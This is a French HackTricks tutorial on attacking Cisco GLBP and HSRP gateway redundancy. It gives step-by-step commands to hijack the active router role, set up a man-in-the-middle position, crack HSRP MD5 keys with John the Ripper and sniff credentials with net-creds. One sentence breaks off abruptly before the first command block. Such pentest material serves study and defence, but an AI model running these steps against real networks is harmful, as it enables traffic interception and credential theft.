# Attaques GLBP & HSRP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**Cette page a été copiée depuis** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\*
## Piratage FHRP
### Qu'est-ce que FHRP ?
FHRP (First Hop Redundancy Protocol) est une classe de protocoles réseau conçus pour créer un système de routage redondant à chaud. Avec FHRP, des routeurs physiques peuvent être combinés en un seul dispositif logique, ce qui augmente la tolérance aux pannes et aide à répartir la charge.
**Les ingénieurs de Cisco Systems ont développé deux protocoles FHRP, GLBP et HSRP, que je vais vous présenter ci-dessous.**
### Protocole GLBP
**Développé par les ingénieurs de Cisco Systems.** Comme HSRP, ce protocole est implémenté sur la pile de protocoles TCP/IP, c'est pourquoi le protocole de couche de transport UDP sous le numéro de port 3222 est utilisé pour la traduction des informations de service. Les routeurs GLBP au sein du même groupe logique échangent des paquets "hello" spéciaux toutes les 3 secondes, mais si un routeur GLBP dans le même groupe n'a pas reçu de paquet hello de son voisin GLBP dans les 10 secondes, il le reconnaît comme "mort". Cependant, les valeurs de minuterie peuvent être configurées en fonction des besoins de l'administrateur.
### La structure et le fonctionnement de GLBP
GLBP permet le partage de charge entre plusieurs routeurs (passerelles) en utilisant une adresse IP virtuelle et plusieurs adresses MAC virtuelles. Chaque hôte est configuré avec la même adresse IP virtuelle et tous les routeurs du groupe virtuel participent à la transmission de paquets.
Fonctionne de manière très différente des protocoles HSRP et VRRP car il utilise de vrais mécanismes de répartition de charge, que je vais décrire ci-dessous :
**Dépendant de l'hôte.** Un type de répartition de charge utilisé sur un réseau où il y a une NAT. Le mode Dépendant de l'hôte garantit que l'hôte récupérera la même adresse MAC de l'appareil AVF qui a été utilisé à un moment antérieur, de sorte que la NAT configurée pour l'hôte ne sera pas rompue.
**Round-Robin.** Dans ce mode, l'appareil AVG distribue les adresses MAC aux membres AVF de manière alternative. C'est le mécanisme utilisé par défaut.
**Round-robin basé sur le poids.** Répartition de charge basée sur une métrique spéciale "Poids".
### Rôles dans le domaine GLBP et terminologie
**AVG (Active Virtual Gateway)** - le routeur avec le rôle principal est également responsable de la distribution des adresses MAC aux autres routeurs du même groupe GLBP. Une sorte de "patron" dans le domaine GLBP. L'AVG indique aux autres routeurs comment distribuer le trafic en distribuant des adresses MAC lorsqu'une demande ARP arrive. Il convient de noter qu'il ne peut y avoir qu'un seul routeur AVG dans un domaine GLBP, mais il peut également être un membre AVF.
**AVF (Active Virtual Forwarder)** - un routeur dans un groupe GLBP qui gère le trafic dans le réseau.
**Priorité GLBP** - La valeur de priorité qui détermine quel routeur dans le groupe GLBP sera l'AVG. La valeur par défaut est 100 (la plage de priorité peut être de 1 à 255). Elle peut être définie manuellement, c'est-à-dire que l'ingénieur réseau détermine lui-même quel routeur sera le "supérieur" et lequel sera l'esclave. Plus la priorité est élevée, plus il est probable que le routeur obtiendra le rôle AVG. En général, le rôle AVG est attribué aux routeurs les plus puissants.
**Poids GLBP** - La valeur du soi-disant poids GLBP d'un routeur dans un groupe GLBP. Le poids GLBP définit le niveau de charge du routeur. Cette valeur est "flottante" et peut varier en fonction de la charge sur le canal physique (le mécanisme de suivi d'objet est impliqué), mais elle peut également être configurée manuellement.
**Adresse IP virtuelle GLBP** - l'adresse IP virtuelle dans le domaine GLBP. Utilisée comme adresse de passerelle par défaut pour les hôtes légitimes.
GLBP utilise l'adresse IP de diffusion de groupe réservée **224.0.0.102** et le numéro de port du protocole de couche de transport UDP **3222** pour envoyer et traiter des informations de service. Des paquets GLBP Hello spéciaux sont envoyés toutes les **3 secondes**. Si le routeur GLBP n'a pas reçu de paquet hello d'un voisin dans les **10 secondes**, le voisin sera considéré comme "mort" et sortira du domaine GLBP.
### Mécanisme d'attaque GLBP
La technique de cette attaque réseau consiste à imposer votre appareil en tant que routeur principal **en injectant un paquet GLBP malveillant avec une valeur de priorité maximale.** **L
```
~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
Sélectionnez le routeur à l'adresse IP **10.10.100.100** et activez l'option **Obtenir une adresse IP**. Vous devez également générer une **ARP gratuit**.
Comme vous pouvez le voir, le routeur AVG prétend maintenant être un système d'attaque. **La valeur de priorité est de 255, la valeur de poids est de 255, c'est-à-dire le maximum.**
**Après avoir effectué l'injection, nous devons créer une adresse IP secondaire sur notre interface réseau avec la valeur de l'adresse IP virtuelle dans le domaine GLBP. Vous devez également définir un masque de 24 bits.**
**De cette façon, le trafic légitime sera renvoyé vers nous, car l'adresse IP virtuelle utilisée dans le domaine GLBP est l'adresse de passerelle par défaut pour les hôtes :**
```
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
```
Pour voir non seulement le trafic entrant mais aussi le trafic sortant, nous avons besoin d'une petite règle pour **SNAT (masquerading) :**
```
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
Nous devons également supprimer la route par défaut sur notre machine et en écrire une nouvelle qui passera par l'ancien routeur AVG (l'adresse est 10.10.100.100). Même si nous avons détourné le rôle AVG du routeur, il pourra toujours acheminer le trafic.
```
~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
C'est bon, **nous sommes maintenant l'homme du milieu**! Je vais exécuter l'outil [**net-creds.py**](https://github.com/DanMcInerney/net-creds) pour analyser le trafic à la recherche de données importantes. **Par exemple, le trafic FTP non crypté ou les hachages NTLM.**
```
~$ sudo python2 net-creds.py -i eth0
```
Après avoir exécuté l'utilitaire, je vais essayer de lire le partage SMB avec l'adresse IP **172.16.100.70**, qui se trouve derrière les routeurs GLBP.
```
user@Boundless:~$ smbclient -L \\172.16.100.70 --user mercy
```
**Voici comment vous pouvez intercepter le trafic au sein du réseau en attaquant les domaines GLBP.**
### Piratage HSRP
**HSRP (Hot Standby Router/Redundancy Protocol) —** est un protocole propriétaire de Cisco qui permet la redondance de la passerelle réseau. L'idée générale est de combiner plusieurs routeurs physiques en un seul routeur logique avec une adresse IP commune. Cette adresse du routeur virtuel sera assignée à l'interface du routeur avec le rôle principal, et ce dernier, à son tour, se chargera de la transmission du trafic. Dans le domaine HSRP, la tâche de gérer tout le trafic incombe précisément au routeur avec le rôle principal, contrairement à GLBP, où l'équilibrage de charge en utilisant des métriques spéciales (priorité et poids) a été proposé.
### Rôles dans le domaine HSRP et terminologie
**Routeur actif HSRP** — un dispositif qui agit en tant que routeur virtuel et assure la transmission du trafic des réseaux sources aux réseaux de destination.\
**Routeur de secours HSRP** — un dispositif qui agit en tant que routeur de secours, attendant que le routeur actif tombe en panne. Lorsque le routeur actif primaire tombe en panne, le routeur de secours prendra le rôle principal et assumera les fonctions du routeur actif.\
**Groupe HSRP** — un groupe de dispositifs qui assure le fonctionnement et la tolérance aux pannes d'un routeur logique.\
**Adresse MAC HSRP** — l'adresse MAC virtuelle du routeur logique dans le domaine HSRP.\
**Adresse IP virtuelle HSRP** — il s'agit d'une adresse IP virtuelle spéciale dans le groupe HSRP. Cette adresse IP sera la passerelle par défaut pour les hôtes finaux, utilisée sur le routeur logique lui-même.
### Versions du protocole HSRP
Le protocole HSRP a deux versions — HSRPv1 et HSRPv2. Ils diffèrent selon les paramètres suivants :
* **Le nombre de groupes logiques possibles.** HSRPv1 peut avoir jusqu'à 255 groupes. HSRPv2 peut avoir jusqu'à 4096 groupes.
* **Adresse IP multicast.** HSRPv1 utilise l'adresse IP **224.0.0.2** pour envoyer des informations de service, et HSRPv2 utilise **224.0.0.102**.
* **Adresse MAC virtuelle.** HSRPv1 utilise **00:00:0C:07:AC:XX** comme adresse MAC virtuelle. HSRPv2 a une adresse MAC virtuelle de **00:00:0C:9F:FX:XX** (où XX est le numéro de groupe HSRP).
HSRP utilise l'adresse IP réservée **224.0.0.2** ou **224.0.0.102** (selon la version de HSRP) et le protocole de couche de transport UDP avec le numéro de port **1985** pour diffuser et traiter les informations de service. Des paquets HSRP Hello spéciaux sont envoyés **toutes les 3 secondes.** Si le routeur HSRP ne reçoit pas de paquet hello d'un voisin **dans les 10 secondes**, le voisin sera considéré comme "mort" et sortira du domaine HSRP.
### Mécanisme d'attaque HSRP
**C'est exactement la même chose que le piratage GLBP. Nous devons effectuer une injection HSRP malveillante avec une valeur de priorité maximale de 255.** Cela nous permet de prendre le rôle du routeur actif, ouvrant la porte à une attaque **MITM**. Mais encore une fois, nous devons examiner les informations suivantes avant de mener l'attaque :
* **L'adresse IP virtuelle utilisée dans le domaine HSRP**
* **La présence d'authentification**
* **Valeur des priorités des routeurs**
Nous pouvons extraire ces informations en analysant le trafic HSRP. **Utilisons Wireshark.**
Comme vous pouvez le voir sur la capture d'écran, le processus HSRP implique seulement deux routeurs avec les adresses 10.10.100.100 et 10.10.100.200
Sur la base de l'analyse du trafic HSRP, nous avons ce qui suit :
* **Une mauvaise configuration a été détectée dans le paramètre de priorité. Le routeur actif est considéré comme un routeur HSRP avec une priorité de 200, c'est-à-dire que nous avons un vecteur pour le piratage HSRP**
* **l'adresse IP virtuelle utilisée dans le domaine HSRP est 10.10.100.254**
* **L'authentification MD5 est utilisée**
Avoir une authentification dans le domaine nous lie les mains, mais je vais arranger ça.
### Contournement de l'authentification HSRP
Enregistrez le dump de trafic HSRP au format **.pcap**, afin que l'exfiltrateur puisse extraire correctement les hachages MD5 du dump. J'utiliserai **hsrp2john.py** comme exfiltrateur :
```
~/cisconightmare/exfiltrate$ python2 hsrp2john.py hsrp_with_authentication.pcap
```
Je vais casser les hashes avec **John the Ripper**, en spécifiant les hashes eux-mêmes en tant qu'entrée. Et avec l'option **--wordlist**, je vais spécifier le chemin d'accès au dictionnaire :
```
~/cisconightmare/exfiltrate$ john hsrp_hashes --wordlist=wordlistforbrute
```
En conséquence, nous avons une clé pour entrer dans le domaine HSRP - **endgame**.
### Injection HSRP (Loki)
Je vais utiliser le même Loki pour attaquer le protocole HSRP. Entre autres, il dispose d'une fonctionnalité d'injection de clé, qui nous aide à contourner l'authentification. Plus tôt, dans la section de détournement HSRP, nous avons obtenu toutes les informations nécessaires sur le domaine HSRP.
Démarrage de Loki.
N'oubliez pas de passer en mode promiscuous et d'autoriser le routage du trafic avant de procéder à l'attaque :
```
~$ sudo ip link set eth0 promisc on
~$ sudo sysctl -w net.ipv4.ip_forward=1
```
Sélectionnez le routeur ayant l'adresse **10.10.100.100** et une priorité de **200**. En tant que paramètre **Secret**, **entrez le mot de passe craqué** du domaine HSRP, générez une ARP gratuit et sélectionnez l'option **Get IP**.
**Comme nous pouvons le voir, le routeur actif est maintenant notre système d'attaque. La valeur de priorité est de 255.**
**Après l'injection, nous devons créer une adresse IP secondaire sur notre interface réseau avec la valeur de l'adresse IP virtuelle dans le domaine HSRP. Vous devez également spécifier un masque de 24 bits. De cette manière, le trafic légitime sera renvoyé vers nous, car l'adresse IP virtuelle utilisée dans le domaine HSRP est l'adresse de passerelle par défaut pour les hôtes.**
```
~$ sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
```
Nous avons mis en place le NAT source bien connu (masquerading) pour intercepter tout le trafic :
```
~$ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
Nous supprimons la route par défaut sur notre machine et écrivons une nouvelle route qui passera par l'ancien routeur actif (son adresse est 10.10.100.100). Même si nous avons détourné le rôle actif du routeur, il pourra toujours acheminer le trafic.
```
~$ sudo route del default
~$ sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
**Maintenant, nous sommes l'« homme du milieu ». Exécutons** [**net-creds.py**](https://github.com/DanMcInerney/net-creds)**:**
```
~$ sudo python2 net-creds.py -i eth0
```
Après avoir exécuté l'utilitaire, je vais reproduire une tentative d'authentification sur le serveur FTP à l'adresse 172.16.100.140 :
```
~$ ftp 172.16.100.140
```
En conséquence, nous obtenons des identifiants du serveur FTP : **insomnia:betrayal**
C'est ainsi que vous pouvez attaquer le domaine HSRP et intercepter le trafic. Fondamentalement, tout est similaire à GLBP.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).